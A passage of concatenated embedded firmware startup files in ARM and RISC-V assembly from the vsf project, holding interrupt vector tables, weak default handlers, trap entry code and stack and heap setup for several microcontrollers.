DCD GPIO3_Handler ; 17 GPIO 3 combined interrupt
DCD UART3RX_Handler ; 18 UART 3 receive interrupt
DCD UART3TX_Handler ; 19 UART 3 transmit interrupt
DCD UART4RX_Handler ; 20 UART 4 receive interrupt
DCD UART4TX_Handler ; 21 UART 4 transmit interrupt
DCD SPI_2_Handler ; 22 SPI #2 interrupt
DCD SPI_3_4_Handler ; 23 SPI #3, SPI #4 interrupt
DCD GPIO0_0_Handler ; 24 GPIO 0 individual interrupt ( 0)
DCD GPIO0_1_Handler ; 25 GPIO 0 individual interrupt ( 1)
DCD GPIO0_2_Handler ; 26 GPIO 0 individual interrupt ( 2)
DCD GPIO0_3_Handler ; 27 GPIO 0 individual interrupt ( 3)
DCD GPIO0_4_Handler ; 28 GPIO 0 individual interrupt ( 4)
DCD GPIO0_5_Handler ; 29 GPIO 0 individual interrupt ( 5)
DCD GPIO0_6_Handler ; 30 GPIO 0 individual interrupt ( 6)
DCD GPIO0_7_Handler ; 31 GPIO 0 individual interrupt ( 7)
__Vectors_End
__Vectors_Size EQU __Vectors_End - __Vectors
AREA |.text|, CODE, READONLY
; Reset Handler
Reset_Handler PROC
EXPORT Reset_Handler [WEAK]
IMPORT SystemInit
IMPORT __main
LDR R0, =SystemInit
BLX R0
LDR R0, =__main
BX R0
ENDP
; Dummy Exception Handlers (infinite loops which can be modified)
NMI_Handler PROC
EXPORT NMI_Handler [WEAK]
B .
ENDP
HardFault_Handler\
PROC
EXPORT HardFault_Handler [WEAK]
B .
ENDP
MemManage_Handler\
PROC
EXPORT MemManage_Handler [WEAK]
B .
ENDP
BusFault_Handler\
PROC
EXPORT BusFault_Handler [WEAK]
B .
ENDP
UsageFault_Handler\
PROC
EXPORT UsageFault_Handler [WEAK]
B .
ENDP
SVC_Handler PROC
EXPORT SVC_Handler [WEAK]
B .
ENDP
DebugMon_Handler\
PROC
EXPORT DebugMon_Handler [WEAK]
B .
ENDP
PendSV_Handler PROC
EXPORT PendSV_Handler [WEAK]
B .
ENDP
SysTick_Handler PROC
EXPORT SysTick_Handler [WEAK]
B .
ENDP
Default_Handler PROC
EXPORT UART0RX_Handler [WEAK]
EXPORT UART0TX_Handler [WEAK]
EXPORT UART1RX_Handler [WEAK]
EXPORT UART1TX_Handler [WEAK]
EXPORT UART2RX_Handler [WEAK]
EXPORT UART2TX_Handler [WEAK]
EXPORT GPIO0ALL_Handler [WEAK]
EXPORT GPIO1ALL_Handler [WEAK]
EXPORT TIMER0_Handler [WEAK]
EXPORT TIMER1_Handler [WEAK]
EXPORT DUALTIMER_Handler [WEAK]
EXPORT SPI_0_1_Handler [WEAK]
EXPORT UART_0_1_2_OVF_Handler [WEAK]
EXPORT ETHERNET_Handler [WEAK]
EXPORT I2S_Handler [WEAK]
EXPORT TOUCHSCREEN_Handler [WEAK]
EXPORT GPIO2_Handler [WEAK]
EXPORT GPIO3_Handler [WEAK]
EXPORT UART3RX_Handler [WEAK]
EXPORT UART3TX_Handler [WEAK]
EXPORT UART4RX_Handler [WEAK]
EXPORT UART4TX_Handler [WEAK]
EXPORT SPI_2_Handler [WEAK]
EXPORT SPI_3_4_Handler [WEAK]
EXPORT GPIO0_0_Handler [WEAK]
EXPORT GPIO0_1_Handler [WEAK]
EXPORT GPIO0_2_Handler [WEAK]
EXPORT GPIO0_3_Handler [WEAK]
EXPORT GPIO0_4_Handler [WEAK]
EXPORT GPIO0_5_Handler [WEAK]
EXPORT GPIO0_6_Handler [WEAK]
EXPORT GPIO0_7_Handler [WEAK]
UART0RX_Handler
UART0TX_Handler
UART1RX_Handler
UART1TX_Handler
UART2RX_Handler
UART2TX_Handler
GPIO0ALL_Handler
GPIO1ALL_Handler
TIMER0_Handler
TIMER1_Handler
DUALTIMER_Handler
SPI_0_1_Handler
UART_0_1_2_OVF_Handler
ETHERNET_Handler
I2S_Handler
TOUCHSCREEN_Handler
GPIO2_Handler
GPIO3_Handler
UART3RX_Handler
UART3TX_Handler
UART4RX_Handler
UART4TX_Handler
SPI_2_Handler
SPI_3_4_Handler
GPIO0_0_Handler
GPIO0_1_Handler
GPIO0_2_Handler
GPIO0_3_Handler
GPIO0_4_Handler
GPIO0_5_Handler
GPIO0_6_Handler
GPIO0_7_Handler
B .
ENDP
END
|
vsfteam/vsf | 6,284 | source/hal/driver/GigaDevice/GD32VF103/GD32VF103C8/startup_gcc/start.S | // See LICENSE for license details.
#include "riscv_encoding.h"
.section .init
.weak PendSV_Handler
.weak SysTick_Handler
.weak eclic_bwei_handler
.weak eclic_pmovi_handler
.weak WWDGT_IRQHandler
.weak LVD_IRQHandler
.weak TAMPER_IRQHandler
.weak RTC_IRQHandler
.weak FMC_IRQHandler
.weak RCU_IRQHandler
.weak EXTI0_IRQHandler
.weak EXTI1_IRQHandler
.weak EXTI2_IRQHandler
.weak EXTI3_IRQHandler
.weak EXTI4_IRQHandler
.weak DMA0_Channel0_IRQHandler
.weak DMA0_Channel1_IRQHandler
.weak DMA0_Channel2_IRQHandler
.weak DMA0_Channel3_IRQHandler
.weak DMA0_Channel4_IRQHandler
.weak DMA0_Channel5_IRQHandler
.weak DMA0_Channel6_IRQHandler
.weak ADC0_1_IRQHandler
.weak CAN0_TX_IRQHandler
.weak CAN0_RX0_IRQHandler
.weak CAN0_RX1_IRQHandler
.weak CAN0_EWMC_IRQHandler
.weak EXTI5_9_IRQHandler
.weak TIMER0_BRK_IRQHandler
.weak TIMER0_UP_IRQHandler
.weak TIMER0_TRG_CMT_IRQHandler
.weak TIMER0_Channel_IRQHandler
.weak TIMER1_IRQHandler
.weak TIMER2_IRQHandler
.weak TIMER3_IRQHandler
.weak I2C0_EV_IRQHandler
.weak I2C0_ER_IRQHandler
.weak I2C1_EV_IRQHandler
.weak I2C1_ER_IRQHandler
.weak SPI0_IRQHandler
.weak SPI1_IRQHandler
.weak USART0_IRQHandler
.weak USART1_IRQHandler
.weak USART2_IRQHandler
.weak EXTI10_15_IRQHandler
.weak RTC_Alarm_IRQHandler
.weak USBFS_WKUP_IRQHandler
.weak EXMC_IRQHandler
.weak TIMER4_IRQHandler
.weak SPI2_IRQHandler
.weak UART3_IRQHandler
.weak UART4_IRQHandler
.weak TIMER5_IRQHandler
.weak TIMER6_IRQHandler
.weak DMA1_Channel0_IRQHandler
.weak DMA1_Channel1_IRQHandler
.weak DMA1_Channel2_IRQHandler
.weak DMA1_Channel3_IRQHandler
.weak DMA1_Channel4_IRQHandler
.weak CAN1_TX_IRQHandler
.weak CAN1_RX0_IRQHandler
.weak CAN1_RX1_IRQHandler
.weak CAN1_EWMC_IRQHandler
.weak USBFS_IRQHandler
vector_base:
j _start
.align 2
.word 0
.word 0
.word PendSV_Handler
.word 0
.word 0
.word 0
.word SysTick_Handler
.word 0
.word 0
.word 0
.word 0
.word 0
.word 0
.word 0
.word 0
.word 0
.word eclic_bwei_handler
.word eclic_pmovi_handler
.word WWDGT_IRQHandler
.word LVD_IRQHandler
.word TAMPER_IRQHandler
.word RTC_IRQHandler
.word FMC_IRQHandler
.word RCU_IRQHandler
.word EXTI0_IRQHandler
.word EXTI1_IRQHandler
.word EXTI2_IRQHandler
.word EXTI3_IRQHandler
.word EXTI4_IRQHandler
.word DMA0_Channel0_IRQHandler
.word DMA0_Channel1_IRQHandler
.word DMA0_Channel2_IRQHandler
.word DMA0_Channel3_IRQHandler
.word DMA0_Channel4_IRQHandler
.word DMA0_Channel5_IRQHandler
.word DMA0_Channel6_IRQHandler
.word ADC0_1_IRQHandler
.word CAN0_TX_IRQHandler
.word CAN0_RX0_IRQHandler
.word CAN0_RX1_IRQHandler
.word CAN0_EWMC_IRQHandler
.word EXTI5_9_IRQHandler
.word TIMER0_BRK_IRQHandler
.word TIMER0_UP_IRQHandler
.word TIMER0_TRG_CMT_IRQHandler
.word TIMER0_Channel_IRQHandler
.word TIMER1_IRQHandler
.word TIMER2_IRQHandler
.word TIMER3_IRQHandler
.word I2C0_EV_IRQHandler
.word I2C0_ER_IRQHandler
.word I2C1_EV_IRQHandler
.word I2C1_ER_IRQHandler
.word SPI0_IRQHandler
.word SPI1_IRQHandler
.word USART0_IRQHandler
.word USART1_IRQHandler
.word USART2_IRQHandler
.word EXTI10_15_IRQHandler
.word RTC_Alarm_IRQHandler
.word USBFS_WKUP_IRQHandler
.word 0
.word 0
.word 0
.word 0
.word 0
.word EXMC_IRQHandler
.word 0
.word TIMER4_IRQHandler
.word SPI2_IRQHandler
.word UART3_IRQHandler
.word UART4_IRQHandler
.word TIMER5_IRQHandler
.word TIMER6_IRQHandler
.word DMA1_Channel0_IRQHandler
.word DMA1_Channel1_IRQHandler
.word DMA1_Channel2_IRQHandler
.word DMA1_Channel3_IRQHandler
.word DMA1_Channel4_IRQHandler
.word 0
.word 0
.word CAN1_TX_IRQHandler
.word CAN1_RX0_IRQHandler
.word CAN1_RX1_IRQHandler
.word CAN1_EWMC_IRQHandler
.word USBFS_IRQHandler
.globl _start
.type _start,@function
_start:
csrc CSR_MSTATUS, MSTATUS_MIE
/* Jump to logical address first to ensure correct operation of RAM region */
la a0, _start
li a1, 1
slli a1, a1, 29
bleu a1, a0, _start0800
srli a1, a1, 2
bleu a1, a0, _start0800
la a0, _start0800
add a0, a0, a1
jr a0
_start0800:
/* Set the the NMI base to share with mtvec by setting CSR_MMISC_CTL */
li t0, 0x200
csrs CSR_MMISC_CTL, t0
/* Initial the mtvt*/
la t0, vector_base
csrw CSR_MTVT, t0
/* Initial the mtvt2 and enable it*/
la t0, irq_entry
csrw CSR_MTVT2, t0
csrs CSR_MTVT2, 0x1
/* Initial the CSR MTVEC for the Trap and NMI base addr*/
la t0, trap_entry
csrw CSR_MTVEC, t0
#ifdef __riscv_flen
/* Enable FPU */
li t0, MSTATUS_FS
csrs mstatus, t0
csrw fcsr, x0
#endif
.option push
.option norelax
la gp, __global_pointer$
.option pop
la sp, _sp
/* Load data section */
la a0, _data_lma
la a1, _data
la a2, _edata
bgeu a1, a2, 2f
1:
lw t0, (a0)
sw t0, (a1)
addi a0, a0, 4
addi a1, a1, 4
bltu a1, a2, 1b
2:
/* Clear bss section */
la a0, __bss_start
la a1, _end
bgeu a0, a1, 2f
1:
sw zero, (a0)
addi a0, a0, 4
bltu a0, a1, 1b
2:
/*enable mcycle_minstret*/
csrci CSR_MCOUNTINHIBIT, 0x5
/* Call global constructors */
la a0, __libc_fini_array
call atexit
call __libc_init_array
/* argc = argv = 0 */
li a0, 0
li a1, 0
call main
tail exit
1:
j 1b
.global disable_mcycle_minstret
disable_mcycle_minstret:
csrsi CSR_MCOUNTINHIBIT, 0x5
ret
.global enable_mcycle_minstret
enable_mcycle_minstret:
csrci CSR_MCOUNTINHIBIT, 0x5
ret
|
vsfteam/vsf | 7,902 | source/hal/driver/GigaDevice/GD32VF103/GD32VF103C8/startup_gcc/entry.S | // See LICENSE for license details
#ifndef ENTRY_S
#define ENTRY_S
//#include "hal/vsf_hal_cfg.h"
#include "riscv_encoding.h"
#include "riscv_bits.h"
#include "n200_eclic.h"
//#include "n200_timer.h"
###############################################
###############################################
# Disable Interrupt
#
.macro DISABLE_MIE
csrc CSR_MSTATUS, MSTATUS_MIE
.endm
###############################################
###############################################
#Save caller registers
.macro SAVE_CONTEXT
#ifdef __riscv_flen
#if (__riscv_flen==64 )
addi sp, sp, -20*REGBYTES - 20*FPREGBYTES
#else
addi sp, sp, -20*REGBYTES
#endif
#else
addi sp, sp, -20*REGBYTES
#endif
STORE x1, 0*REGBYTES(sp)
STORE x4, 1*REGBYTES(sp)
STORE x5, 2*REGBYTES(sp)
STORE x6, 3*REGBYTES(sp)
STORE x7, 4*REGBYTES(sp)
STORE x10, 5*REGBYTES(sp)
STORE x11, 6*REGBYTES(sp)
STORE x12, 7*REGBYTES(sp)
STORE x13, 8*REGBYTES(sp)
STORE x14, 9*REGBYTES(sp)
STORE x15, 10*REGBYTES(sp)
#ifndef __riscv_32e
STORE x16, 11*REGBYTES(sp)
STORE x17, 12*REGBYTES(sp)
STORE x28, 13*REGBYTES(sp)
STORE x29, 14*REGBYTES(sp)
STORE x30, 15*REGBYTES(sp)
STORE x31, 16*REGBYTES(sp)
#endif
#ifdef __riscv_flen
#if (__riscv_flen == 64)
FPSTORE f0, (20*REGBYTES + 0*FPREGBYTES)(sp)
FPSTORE f1, (20*REGBYTES + 1*FPREGBYTES)(sp)
FPSTORE f2, (20*REGBYTES + 2*FPREGBYTES)(sp)
FPSTORE f3, (20*REGBYTES + 3*FPREGBYTES)(sp)
FPSTORE f4, (20*REGBYTES + 4*FPREGBYTES)(sp)
FPSTORE f5, (20*REGBYTES + 5*FPREGBYTES)(sp)
FPSTORE f6, (20*REGBYTES + 6*FPREGBYTES)(sp)
FPSTORE f7, (20*REGBYTES + 7*FPREGBYTES)(sp)
FPSTORE f10, (20*REGBYTES + 8*FPREGBYTES)(sp)
FPSTORE f11, (20*REGBYTES + 9*FPREGBYTES)(sp)
FPSTORE f12, (20*REGBYTES + 10*FPREGBYTES)(sp)
FPSTORE f13, (20*REGBYTES + 11*FPREGBYTES)(sp)
FPSTORE f14, (20*REGBYTES + 12*FPREGBYTES)(sp)
FPSTORE f15, (20*REGBYTES + 13*FPREGBYTES)(sp)
FPSTORE f16, (20*REGBYTES + 14*FPREGBYTES)(sp)
FPSTORE f17, (20*REGBYTES + 15*FPREGBYTES)(sp)
FPSTORE f28, (20*REGBYTES + 16*FPREGBYTES)(sp)
FPSTORE f29, (20*REGBYTES + 17*FPREGBYTES)(sp)
FPSTORE f30, (20*REGBYTES + 18*FPREGBYTES)(sp)
FPSTORE f31, (20*REGBYTES + 19*FPREGBYTES)(sp)
#endif
#endif
.endm
###############################################
###############################################
#restore caller registers
.macro RESTORE_CONTEXT
LOAD x1, 0*REGBYTES(sp)
LOAD x4, 1*REGBYTES(sp)
LOAD x5, 2*REGBYTES(sp)
LOAD x6, 3*REGBYTES(sp)
LOAD x7, 4*REGBYTES(sp)
LOAD x10, 5*REGBYTES(sp)
LOAD x11, 6*REGBYTES(sp)
LOAD x12, 7*REGBYTES(sp)
LOAD x13, 8*REGBYTES(sp)
LOAD x14, 9*REGBYTES(sp)
LOAD x15, 10*REGBYTES(sp)
#ifndef __riscv_32e
LOAD x16, 11*REGBYTES(sp)
LOAD x17, 12*REGBYTES(sp)
LOAD x28, 13*REGBYTES(sp)
LOAD x29, 14*REGBYTES(sp)
LOAD x30, 15*REGBYTES(sp)
LOAD x31, 16*REGBYTES(sp)
#endif
#ifdef __riscv_flen
#if (__riscv_flen==64)
/* Restore fp caller registers */
FPLOAD f0, (20*REGBYTES + 0*FPREGBYTES)(sp)
FPLOAD f1, (20*REGBYTES + 1*FPREGBYTES)(sp)
FPLOAD f2, (20*REGBYTES + 2*FPREGBYTES)(sp)
FPLOAD f3, (20*REGBYTES + 3*FPREGBYTES)(sp)
FPLOAD f4, (20*REGBYTES + 4*FPREGBYTES)(sp)
FPLOAD f5, (20*REGBYTES + 5*FPREGBYTES)(sp)
FPLOAD f6, (20*REGBYTES + 6*FPREGBYTES)(sp)
FPLOAD f7, (20*REGBYTES + 7*FPREGBYTES)(sp)
FPLOAD f10, (20*REGBYTES + 8*FPREGBYTES)(sp)
FPLOAD f11, (20*REGBYTES + 9*FPREGBYTES)(sp)
FPLOAD f12, (20*REGBYTES + 10*FPREGBYTES)(sp)
FPLOAD f13, (20*REGBYTES + 11*FPREGBYTES)(sp)
FPLOAD f14, (20*REGBYTES + 12*FPREGBYTES)(sp)
FPLOAD f15, (20*REGBYTES + 13*FPREGBYTES)(sp)
FPLOAD f16, (20*REGBYTES + 14*FPREGBYTES)(sp)
FPLOAD f17, (20*REGBYTES + 15*FPREGBYTES)(sp)
FPLOAD f28, (20*REGBYTES + 16*FPREGBYTES)(sp)
FPLOAD f29, (20*REGBYTES + 17*FPREGBYTES)(sp)
FPLOAD f30, (20*REGBYTES + 18*FPREGBYTES)(sp)
FPLOAD f31, (20*REGBYTES + 19*FPREGBYTES)(sp)
#endif
#endif
#ifdef __riscv_flen
#if(__riscv_flen == 64 )
addi sp, sp, 20*REGBYTES + 20*FPREGBYTES
#else
addi sp, sp, 20*REGBYTES
#endif
#else
// De-allocate the stack space
addi sp, sp, 20*REGBYTES
#endif
.endm
###############################################
###############################################
#restore caller registers
.macro RESTORE_CONTEXT_EXCPT_X5
LOAD x1, 0*REGBYTES(sp)
LOAD x6, 2*REGBYTES(sp)
LOAD x7, 3*REGBYTES(sp)
LOAD x10, 4*REGBYTES(sp)
LOAD x11, 5*REGBYTES(sp)
LOAD x12, 6*REGBYTES(sp)
LOAD x13, 7*REGBYTES(sp)
LOAD x14, 8*REGBYTES(sp)
LOAD x15, 9*REGBYTES(sp)
#ifndef __riscv_32e
LOAD x16, 10*REGBYTES(sp)
LOAD x17, 11*REGBYTES(sp)
LOAD x28, 12*REGBYTES(sp)
LOAD x29, 13*REGBYTES(sp)
LOAD x30, 14*REGBYTES(sp)
LOAD x31, 15*REGBYTES(sp)
#endif
.endm
###############################################
###############################################
#restore caller registers
.macro RESTORE_CONTEXT_ONLY_X5
LOAD x5, 1*REGBYTES(sp)
.endm
###############################################
###############################################
# Save the mepc and mstatus
#
.macro SAVE_EPC_STATUS
csrr x5, CSR_MEPC
STORE x5, 16*REGBYTES(sp)
csrr x5, CSR_MSTATUS
STORE x5, 17*REGBYTES(sp)
csrr x5, CSR_MSUBM
STORE x5, 18*REGBYTES(sp)
.endm
###############################################
###############################################
# Restore the mepc and mstatus
#
.macro RESTORE_EPC_STATUS
LOAD x5, 16*REGBYTES(sp)
csrw CSR_MEPC, x5
LOAD x5, 17*REGBYTES(sp)
csrw CSR_MSTATUS, x5
LOAD x5, 18*REGBYTES(sp)
csrw CSR_MSUBM, x5
.endm
###############################################
###############################################
// Trap entry point
//
.section .text.trap
.align 6// In CLIC mode, the trap entry must be 64bytes aligned
.global trap_entry
.weak trap_entry
trap_entry:
// Allocate the stack space
// addi sp, sp, -19*REGBYTES
// Save the caller saving registers (context)
SAVE_CONTEXT
// Save the MEPC/Mstatus/Msubm reg
SAVE_EPC_STATUS
// Set the function argument
csrr a0, mcause
mv a1, sp
// Call the function
call handle_trap
// Restore the MEPC/Mstatus/Msubm reg
RESTORE_EPC_STATUS
// Restore the caller saving registers (context)
RESTORE_CONTEXT
// De-allocate the stack space
// addi sp, sp, 19*REGBYTES
// Return to regular code
mret
###############################################
###############################################
// IRQ entry point
//
.section .text.irq
.align 2
.global irq_entry
.weak irq_entry
irq_entry: // -------------> This label will be set to MTVT2 register
// Allocate the stack space
SAVE_CONTEXT// Save 16 regs
//------This special CSR read operation, which is actually use mcause as operand to directly store it to memory
csrrwi x0, CSR_PUSHMCAUSE, 17
//------This special CSR read operation, which is actually use mepc as operand to directly store it to memory
csrrwi x0, CSR_PUSHMEPC, 18
//------This special CSR read operation, which is actually use Msubm as operand to directly store it to memory
csrrwi x0, CSR_PUSHMSUBM, 19
service_loop:
//------This special CSR read/write operation, which is actually Claim the CLIC to find its pending highest
// ID, if the ID is not 0, then automatically enable the mstatus.MIE, and jump to its vector-entry-label, and
// update the link register
csrrw ra, CSR_JALMNXTI, ra
//RESTORE_CONTEXT_EXCPT_X5
#---- Critical section with interrupts disabled -----------------------
DISABLE_MIE # Disable interrupts
LOAD x5, 19*REGBYTES(sp)
csrw CSR_MSUBM, x5
LOAD x5, 18*REGBYTES(sp)
csrw CSR_MEPC, x5
LOAD x5, 17*REGBYTES(sp)
csrw CSR_MCAUSE, x5
RESTORE_CONTEXT
// Return to regular code
mret
#endif
|
vsfteam/vsf | 9,881 | source/hal/driver/hercules/cmem7/common/Vendor/CMSIS/CME_M7/startup/arm/startup_cmem7.S | ;*****************************************************************************
;* @file start_cmem7.h
;*
;* @brief CMEM7 startup file
;*
;*
;* @version V1.0
;* @date 3. September 2013
;*
;* @note
;*
;*****************************************************************************
;* @attention
;*
;* THE PRESENT FIRMWARE WHICH IS FOR GUIDANCE ONLY AIMS AT PROVIDING CUSTOMERS
;* WITH CODING INFORMATION REGARDING THEIR PRODUCTS IN ORDER FOR THEM TO SAVE
;* TIME. AS A RESULT, CAPITAL-MICRO SHALL NOT BE HELD LIABLE FOR ANY DIRECT,
;* INDIRECT OR CONSEQUENTIAL DAMAGES WITH RESPECT TO ANY CLAIMS ARISING
;* FROM THE CONTENT OF SUCH FIRMWARE AND/OR THE USE MADE BY CUSTOMERS OF THE
;* CODING INFORMATION CONTAINED HEREIN IN CONNECTION WITH THEIR PRODUCTS.
;*
;* <h2><center>© COPYRIGHT 2013 Capital-micro </center></h2>
;*****************************************************************************
; Amount of memory (in bytes) allocated for Stack
; Tailor this value to your application needs
; <h> Stack Configuration
; <o> Stack Size (in Bytes) <0x0-0xFFFFFFFF:8>
; </h>
Stack_Size EQU 0x00000800
AREA STACK, NOINIT, READWRITE, ALIGN=3
Stack_Mem SPACE Stack_Size
__initial_sp
; <h> Heap Configuration
; <o> Heap Size (in Bytes) <0x0-0xFFFFFFFF:8>
; </h>
Heap_Size EQU 0x00000400
AREA HEAP, NOINIT, READWRITE, ALIGN=3
__heap_base
Heap_Mem SPACE Heap_Size
__heap_limit
PRESERVE8
THUMB
; Vector Table Mapped to Address 0 at Reset
AREA RESET, DATA, READONLY
EXPORT __Vectors
EXPORT __Vectors_End
EXPORT __Vectors_Size
__Vectors DCD __initial_sp ; Top of Stack
DCD Reset_Handler ; Reset Handler
DCD NMI_Handler ; NMI Handler
DCD HardFault_Handler ; Hard Fault Handler
DCD MemManage_Handler ; MPU Fault Handler
DCD BusFault_Handler ; Bus Fault Handler
DCD UsageFault_Handler ; Usage Fault Handler
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD SVC_Handler ; SVCall Handler
DCD DebugMon_Handler ; Debug Monitor Handler
DCD 0 ; Reserved
DCD PendSV_Handler ; PendSV Handler
DCD SysTick_Handler ; SysTick Handler
; External Interrupts
DCD ETH_IRQHandler ; ETH
DCD USB_IRQHandler ; USB
DCD DMAC_IRQHandler ; DMAC
DCD CAN0_IRQHandler ; CAN0
DCD CAN1_IRQHandler ; CAN1
DCD FP0_IRQHandler ; FP[0:15]
DCD FP1_IRQHandler
DCD FP2_IRQHandler
DCD FP3_IRQHandler
DCD FP4_IRQHandler
DCD FP5_IRQHandler
DCD FP6_IRQHandler
DCD FP7_IRQHandler
DCD FP8_IRQHandler
DCD FP9_IRQHandler
DCD FP10_IRQHandler
DCD FP11_IRQHandler
DCD FP12_IRQHandler
DCD FP13_IRQHandler
DCD FP14_IRQHandler
DCD FP15_IRQHandler ; 21
DCD UART0_IRQHandler ; UART0
DCD UART1_IRQHandler ; UART1
DCD ADC_IRQHandler ; ADC
DCD GPIO_IRQHandler ; GPIO
DCD SPI1_IRQHandler ; SPI1
DCD I2C1_IRQHandler ; I2C1
DCD SPI0_IRQHandler ; SPI0
DCD I2C0_IRQHandler ; I2C0
DCD RTC_1S_IRQHandler ; RTC 1S
DCD RTC_1MS_IRQHandler ; RTC 1MS
DCD WDG_IRQHandler ; Watchdog
DCD TIMER_IRQHandler ; Timer 0 || 1 || 2 || 3
DCD DDRC_SW_PROC_IRQHandler ; DDRC sw proc
DCD ETH_PMT_IRQHandler ; ETH pmt
DCD PAD_IRQHandler ; PAD
DCD DDRC_LANE_SYNC_IRQHandler ; DDRC lane sync
DCD UART2_IRQHandler ; UART2
__Vectors_End
__Vectors_Size EQU __Vectors_End - __Vectors
AREA |.text|, CODE, READONLY
; Reset handler
Reset_Handler PROC
EXPORT Reset_Handler [WEAK]
IMPORT SystemInit
IMPORT __main
LDR R0, =SystemInit
BLX R0
LDR R0, =__main
BX R0
ENDP
; Dummy Exception Handlers (infinite loops which can be modified)
NMI_Handler PROC
EXPORT NMI_Handler [WEAK]
B .
ENDP
HardFault_Handler\
PROC
EXPORT HardFault_Handler [WEAK]
B .
ENDP
MemManage_Handler\
PROC
EXPORT MemManage_Handler [WEAK]
B .
ENDP
BusFault_Handler\
PROC
EXPORT BusFault_Handler [WEAK]
B .
ENDP
UsageFault_Handler\
PROC
EXPORT UsageFault_Handler [WEAK]
B .
ENDP
SVC_Handler PROC
EXPORT SVC_Handler [WEAK]
B .
ENDP
DebugMon_Handler\
PROC
EXPORT DebugMon_Handler [WEAK]
B .
ENDP
PendSV_Handler PROC
EXPORT PendSV_Handler [WEAK]
B .
ENDP
SysTick_Handler PROC
EXPORT SysTick_Handler [WEAK]
B .
ENDP
Default_Handler PROC
EXPORT ETH_IRQHandler [WEAK]
EXPORT USB_IRQHandler [WEAK]
EXPORT DMAC_IRQHandler [WEAK]
EXPORT CAN0_IRQHandler [WEAK]
EXPORT CAN1_IRQHandler [WEAK]
EXPORT FP0_IRQHandler [WEAK]
EXPORT FP1_IRQHandler [WEAK]
EXPORT FP2_IRQHandler [WEAK]
EXPORT FP3_IRQHandler [WEAK]
EXPORT FP4_IRQHandler [WEAK]
EXPORT FP5_IRQHandler [WEAK]
EXPORT FP6_IRQHandler [WEAK]
EXPORT FP7_IRQHandler [WEAK]
EXPORT FP8_IRQHandler [WEAK]
EXPORT FP9_IRQHandler [WEAK]
EXPORT FP10_IRQHandler [WEAK]
EXPORT FP11_IRQHandler [WEAK]
EXPORT FP12_IRQHandler [WEAK]
EXPORT FP13_IRQHandler [WEAK]
EXPORT FP14_IRQHandler [WEAK]
EXPORT FP15_IRQHandler [WEAK]
EXPORT UART0_IRQHandler [WEAK]
EXPORT UART1_IRQHandler [WEAK]
EXPORT ADC_IRQHandler [WEAK]
EXPORT GPIO_IRQHandler [WEAK]
EXPORT SPI1_IRQHandler [WEAK]
EXPORT I2C1_IRQHandler [WEAK]
EXPORT SPI0_IRQHandler [WEAK]
EXPORT I2C0_IRQHandler [WEAK]
EXPORT RTC_1S_IRQHandler [WEAK]
EXPORT RTC_1MS_IRQHandler [WEAK]
EXPORT WDG_IRQHandler [WEAK]
EXPORT TIMER_IRQHandler [WEAK]
EXPORT DDRC_SW_PROC_IRQHandler [WEAK]
EXPORT ETH_PMT_IRQHandler [WEAK]
EXPORT PAD_IRQHandler [WEAK]
EXPORT DDRC_LANE_SYNC_IRQHandler [WEAK]
EXPORT UART2_IRQHandler [WEAK]
ETH_IRQHandler
USB_IRQHandler
DMAC_IRQHandler
CAN0_IRQHandler
CAN1_IRQHandler
FP0_IRQHandler
FP1_IRQHandler
FP2_IRQHandler
FP3_IRQHandler
FP4_IRQHandler
FP5_IRQHandler
FP6_IRQHandler
FP7_IRQHandler
FP8_IRQHandler
FP9_IRQHandler
FP10_IRQHandler
FP11_IRQHandler
FP12_IRQHandler
FP13_IRQHandler
FP14_IRQHandler
FP15_IRQHandler
UART0_IRQHandler
UART1_IRQHandler
ADC_IRQHandler
GPIO_IRQHandler
SPI1_IRQHandler
I2C1_IRQHandler
SPI0_IRQHandler
I2C0_IRQHandler
RTC_1S_IRQHandler
RTC_1MS_IRQHandler
WDG_IRQHandler
TIMER_IRQHandler
DDRC_SW_PROC_IRQHandler
ETH_PMT_IRQHandler
PAD_IRQHandler
DDRC_LANE_SYNC_IRQHandler
UART2_IRQHandler
B .
ENDP
ALIGN
;*******************************************************************************
; User Stack and Heap initialization
;*******************************************************************************
IF :DEF:__MICROLIB
EXPORT __initial_sp
EXPORT __heap_base
EXPORT __heap_limit
ELSE
IMPORT __use_two_region_memory
EXPORT __user_initial_stackheap
__user_initial_stackheap
LDR R0, = Heap_Mem
LDR R1, =(Stack_Mem + Stack_Size)
LDR R2, = (Heap_Mem + Heap_Size)
LDR R3, = Stack_Mem
BX LR
ALIGN
ENDIF
END
;******************* (C) COPYRIGHT 2011 Capital Micro *****END OF FILE*****
|
vsfteam/vsf | 10,809 | source/hal/driver/arm/mps2/common/V2M-MPS2_CMx_BSP/1.7.1/Device/CMSDK_CM0plus/Source/ARM/startup_CMSDK_CM0plus.s | ;/**************************************************************************//**
; * @file startup_CMSDK_CM0plus.s
; * @brief CMSIS Core Device Startup File for
; * CMSDK_CM0plus Device
; * @version V3.05
; * @date 09. November 2016
; ******************************************************************************/
;/* Copyright (c) 2011 - 2016 ARM LIMITED
;
; All rights reserved.
; Redistribution and use in source and binary forms, with or without
; modification, are permitted provided that the following conditions are met:
; - Redistributions of source code must retain the above copyright
; notice, this list of conditions and the following disclaimer.
; - Redistributions in binary form must reproduce the above copyright
; notice, this list of conditions and the following disclaimer in the
; documentation and/or other materials provided with the distribution.
; - Neither the name of ARM nor the names of its contributors may be used
; to endorse or promote products derived from this software without
; specific prior written permission.
; *
; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
; ARE DISCLAIMED. IN NO EVENT SHALL COPYRIGHT HOLDERS AND CONTRIBUTORS BE
; LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
; CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
; SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
; INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
; CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
; ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
; POSSIBILITY OF SUCH DAMAGE.
; ---------------------------------------------------------------------------*/
;/*
;//-------- <<< Use Configuration Wizard in Context Menu >>> ------------------
;*/
; <h> Stack Configuration
